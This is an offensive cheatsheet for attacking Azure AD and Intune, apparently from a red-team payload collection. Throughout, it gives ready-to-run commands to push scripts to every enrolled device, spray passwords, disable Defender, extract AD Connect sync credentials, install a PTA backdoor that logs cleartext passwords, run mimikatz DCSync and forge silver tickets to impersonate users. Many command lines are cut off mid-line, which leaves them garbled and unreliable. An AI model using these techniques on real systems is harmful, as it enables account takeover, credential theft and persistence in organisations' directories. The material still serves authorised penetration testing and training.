Main.py [-h] --usercert USERCERT --certpass CERTPASS --remoteip REMOTEIP
Main.py --usercert "admin.pfx" --certpass password --remoteip 10.10.10.10

python Main.py --usercert C:\Users\Username\Documents\username\<USERNAME>@<TENANT
certpass AzureADCert --remoteip 10.10.10.10 --command "cmd.exe /c net user userna
```

Intunes Administration

Requirements:

- **Global Administrator** or **Intune Administrator** Privilege : `Get-AzureADGroup -Filter "DisplayName eq 'Intune Administrators'"`

1. Login into https://tinyurl.com/y3628sn2#home or use Pass-The-PRT
2. Go to **Devices** -> **All Devices** to check devices enrolled to Intune

3. Go to **Scripts** and click on **Add** for Windows 10.
4. Add a **Powershell script**
5. Specify **Add all users** and **Add all devices** in the **Assignments** page.

:warning: It will take up to one hour before you script is executed !

Dynamic Group Membership

Get groups that allow Dynamic membership: `Get-AzureADMSGroup | ?{$_.GroupTypes -eq 'DynamicMembership'}`

Rule example : `(user.otherMails -any (_ -contains "vendor")) -and (user.userType -eq "guest")`
Rule description: Any Guest user whose secondary email contains the string 'vendor' will be added to the group

1. Open user's profile, click on **Manage**
2. Click on **Resend** invite and to get an invitation URL
3. Set the secondary email

```
PS> Set-AzureADUser -ObjectId <OBJECT-ID> -OtherMails <Username>@<TENANT NAME>
```

Administrative Unit

> Administrative Unit can reset password of another user

```
PS AzureAD> Get-AzureADMSAdministrativeUnit -Id <ID>
PS AzureAD> Get-AzureADMSAdministrativeUnitMember -Id <ID>
PS AzureAD> Get-AzureADMSScopedRoleMembership -Id <ID> | fl
PS AzureAD> Get-AzureADDirectoryRole -ObjectId <RoleId>
PS AzureAD> Get-AzureADUser -ObjectId <RoleMemberInfo.Id> | fl
PS C:\Tools> $password = "Password" | ConvertToSecureString -AsPlainText -Force
PS C:\Tools> (Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "<Username>
```

Deployment Template

```
PS Az> Get-AzResourceGroup
PS Az> Get-AzResourceGroupDeployment -ResourceGroupName SAP

# Export
```

```
PS Az> Save-AzResourceGroupDeploymentTemplate -ResourceGroupName <RESOURCE GROUP>
cat <DEPLOYMENT NAME>.json # search for hardcoded password
cat <PATH TO .json FILE> | Select-String password
```

Application Proxy

```
# Enumerate application that have Proxy
PS C:\Tools> Get-AzureADApplication -All $true | %{try{GetAzureADApplicationProxy
PS C:\Tools> Get-AzureADServicePrincipal -All $true | ?{$_.DisplayName -eq "Finan
PS C:\Tools> . C:\Tools\GetApplicationProxyAssignedUsersAndGroups.ps1
PS C:\Tools> Get-ApplicationProxyAssignedUsersAndGroups -ObjectId <OBJECT-ID>
```

Application Endpoint

```
# Enumerate possible endpoints for applications starting/ending with PREFIX
PS C:\Tools> Get-AzureADServicePrincipal -All $true -Filter "startswith(displayNa
PS C:\Tools> Get-AzureADApplication -All $true -Filter "endswith(displayName,'PRE
```

Conditional Access

- Bypassing conditional access by copying User-Agent (Chrome Dev Tool > Select iPad Pro, etc)
- Bypassing conditional access by faking device compliance

```
# AAD Internals - Making your device compliant
# Get an access token for AAD join and save to cache
Get-AADIntAccessTokenForAADJoin -SaveToCache
# Join the device to Azure AD
Join-AADIntDeviceToAzureAD -DeviceName "SixByFour" -DeviceType "Commodore" -OS
# Marking device compliant - option 1: Registering device to Intune
# Get an access token for Intune MDM and save to cache (prompts for credentia
Get-AADIntAccessTokenForIntuneMDM -PfxFileName .\d03994c9-24f8-41ba-a156-1805
# Join the device to Intune
Join-AADIntDeviceToIntune -DeviceName "SixByFour"
# Start the call back
Start-AADIntDeviceIntuneCallback -PfxFileName .\d03994c9-24f8-41ba-a156-18059
```

Azure AD

With Microsoft, if you are using any cloud services (Office 365, Exchange Online, etc) with Active Directory (on-prem or in Azure) then an attacker is one credential away from being able to leak your entire Active Directory structure thanks to Azure AD.

1. Authenticate to your webmail portal (i.e. https://tinyurl.com/2q5qqj)
2. Change your browser URL to: https://tinyurl.com/z9yodew
3. Pick the account from the active sessions
4. Select Azure Active Directory and enjoy!

Azure AD vs Active Directory

Active Directory	Azure AD
LDAP	REST API'S
NTLM/Kerberos	OAuth/SAML/OpenID
Structured directory (OU tree)	Flat structure
GPO	No GPO's
Super fine-tuned access controls	Predefined roles
Domain/forest	Tenant
Trusts	Guests

- Password Hash Syncronization (PHS)
  - Passwords from on-premise AD are sent to the cloud
  - Use replication via a service account created by AD Connect
- Pass Through Authentication (PTA)
  - Possible to perform DLL injection into the PTA agent and intercept authentication requests: credentials in clear-text
- Connect Windows Server AD to Azure AD using Federation Server (ADFS)
  - Dir-Sync : Handled by on-premise Windows Server AD, sync username/password

- Azure AD Joined : https://tinyurl.com/2dl9fhhu
- Workplace Joined : https://tinyurl.com/29jhk3yl
- Hybrid Joined : https://tinyurl.com/26x7y98r
- Workplace joined on AADJ or Hybrid : https://tinyurl.com/2b6mrjcp

Password Spray

> Default lockout policy of 10 failed attempts, locking out an account for 60 seconds

```
git clone https://tinyurl.com/2a8r8avs
Import-Module .\MSOLSpray.ps1
Invoke-MSOLSpray -UserList .\userlist.txt -Password Winter2020
Invoke-MSOLSpray -UserList .\users.txt -Password d0ntSprayme!

# UserList  - UserList file filled with usernames one-per-line in the format "use
# Password  - A single password that will be used to perform the password spray.
# OutFile   - A file to output valid results to.
# Force     - Forces the spray to continue and not stop when multiple account loc
# URL       - The URL to spray against. Potentially useful if pointing at an API
```

Convert GUID to SID

The user's AAD id is translated to SID by concatenating `"S-1-12-1-"` to the decimal representation of each section of the AAD Id.

```
GUID: [base16(a1)]-[base16(a2)]-[ base16(a3)]-[base16(a4)]
SID: S-1-12-1-[base10(a1)]-[ base10(a2)]-[ base10(a3)]-[ base10(a4)]
```

For example, the representation of `6aa89ecb-1f8f-4d92-810d-b0dce30b6c82` is `S-1-12-1-1789435595-1301421967-3702525313-2188119011`

Azure AD Connect

Check if Azure AD Connect is installed : `Get-ADSyncConnector`

- For **PHS**, we can extract the credentials
- For **PTA**, we can install the agent
- For **Federation**, we can extract the certificate from ADFS server using DA

```
PS > Set-MpPreference -DisableRealtimeMonitoring $true
PS > Copy-Item -ToSession $adcnct -Path C:\Tools\AADInternals.0.4.5.zip -Destinat
PS > Expand-Archive C:\Users\Administrator\Documents\AADInternals.0.4.5.zip -Dest
PS > Import-Module C:\Users\Administrator\Documents\AADInternals\AADInternals.psd
PS > Get-AADIntSyncCredentials

# Get Token for SYNC account and reset on-prem admin password
PS > $passwd = ConvertToSecureString 'password' -AsPlainText -Force
PS > $creds = New-Object System.Management.Automation.PSCredential ("<Username>@<
PS > GetAADIntAccessTokenForAADGraph -Credentials $creds -SaveToCache
```

```
PS > Get-AADIntUser -UserPrincipalName onpremadmin@defcorpsecure.onmicrosoft.com
PS > Set-AADIntUserPassword -SourceAnchor "<IMMUTABLE-ID>" -Password "Password" -
```

1. Check if PTA is installed : `Get-Command -Module PassthroughAuthPSModule`
2. Install a PTA Backdoor

```
PS AADInternals> Install-AADIntPTASpy
PS AADInternals> Get-AADIntPTASpyLog -DecodePasswords
```

Azure AD Connect - Password extraction

Credentials in AD Sync : C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf

Tool	Requires code execution on target	DLL dependencies	Requires MSSQL locally	Requires python locally
ADSyncDecrypt	Yes	Yes	No	No
ADSyncGather	Yes	No	No	Yes
ADSyncQuery	No (network RPC calls only)	No	Yes	Yes

```
git clone https://tinyurl.com/23gnev9q
# DCSync with AD Sync account
```

Azure AD Connect - MSOL Account's password and DCSync

You can perform **DCSync** attack using the MSOL account.

Requirements:

- Compromise a server with Azure AD Connect service
- Access to ADSyncAdmins or local Administrators groups

Use the script **azuread_decrypt_msol.ps1** from @xpn to recover the decrypted password for the MSOL account:

- `azuread_decrypt_msol.ps1` : AD Connect Sync Credential Extract POC https://tinyurl.com/2cjzzkel
- `azuread_decrypt_msol_v2.ps1` : Updated method of dumping the MSOL service account

(which allows a DCSync) used by Azure AD Connect Sync https://tinyurl.com/22ay4qql

Now you can use the retrieved credentials for the MSOL Account to launch a DCSync attack.

Azure AD Connect - Seamless Single Sign On Silver Ticket

> Anyone who can edit properties of the AZUREADSSOACCS$ account can impersonate any user in Azure AD using Kerberos (if no MFA)

> Seamless SSO is supported by both PHS and PTA. If seamless SSO is enabled, a computer account **AZUREADSSOC** is created in the on-prem AD.

:warning: The password of the AZUREADSSOACC account never changes.

Using [https://tinyurl.com/28omyq54) to convert Kerberos tickets to SAML and JWT for Office 365 & Azure

1. NTLM password hash of the AZUREADSSOACC account, e.g. `f9969e088b2c13d93833d0ce436c76dd` .

   ```
   mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit
   ```

2. AAD logon name of the user we want to impersonate, e.g. `elrond@contoso.com` . This is typically either his userPrincipalName or mail attribute from the on-prem AD.
3. SID of the user we want to impersonate, e.g. `S-1-5-21-2121516926-2695913149-3163778339-1234` .
4. Create the Silver Ticket and inject it into Kerberos cache:

   ```
   mimikatz.exe "kerberos::golden /user:elrond
   /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234
   /domain:contoso.local /rc4:f9969e088b2c13d93833d0ce436c76dd
   /target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit
   ```

5. Launch Mozilla Firefox
6. Go to about:config and set the `network.negotiate-auth.trusted-uris preference` to value `https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com`
7. Navigate to any web application that is integrated with our AAD domain. Fill in the user name, while leaving the password field empty.

References

- Introduction To 365-Stealer - Understanding and Executing the Illicit Consent Grant Attack
- Learn with @trouble1_raunak: Cloud Pentesting - Azure (Illicit Consent Grant Attack) !!
- Pass-the-PRT attack and detection by Microsoft Defender for ... - Derk van der Woude - Jun 9
- Azure AD Pass The Certificate - Mor - Aug 19, 2020
- Get Access Tokens for Managed Service Identity on Azure App Service
- Bypassing conditional access by faking device compliance - September 06, 2020 - @DrAzureAD
- CARTP-cheatsheet - Azure AD cheatsheet for the CARTP course
- Get-AzurePasswords: A Tool for Dumping Credentials from Azure Subscriptions - August 28, 2018 - Karl Fosaaen
- An introduction to penetration testing Azure - Akimbocore
- Running Powershell scripts on Azure VM - Netspi
- Attacking Azure Cloud shell - Netspi
- Maintaining Azure Persistence via automation accounts - Netspi
- Detecting an attacks on active directory with Azure - Smartspate
- Azure AD Overview
- Windows Azure Active Directory in plain English
- Building Free Active Directory Lab in Azure - @kamran.bilgrami
- Attacking Azure/Azure AD and introducing Powerzure - SpecterOps
- Azure AD connect for RedTeam - @xpnsec
- Azure Privilege Escalation Using Managed Identities - Karl Fosaaen - February 20th, 2020
- Hunting Azure Admins for Vertical Escalation - LEE KAGAN - MARCH 13, 2020
- Introducing ROADtools - The Azure AD exploration framework - Dirk-jan Mollema
- Moving laterally between Azure AD joined machines - Tal Maor - Mar 17, 2020
- AZURE AD INTRODUCTION FOR RED TEAMERS - Written by Aymeric Palhière (bak) - 2020-04-20
- Impersonating Office 365 Users With Mimikatz - January 15, 2017 - Michael Grafnetter
- The Art of the Device Code Phish - Bobby Cooke
- AZURE AD cheatsheet - BlackWasp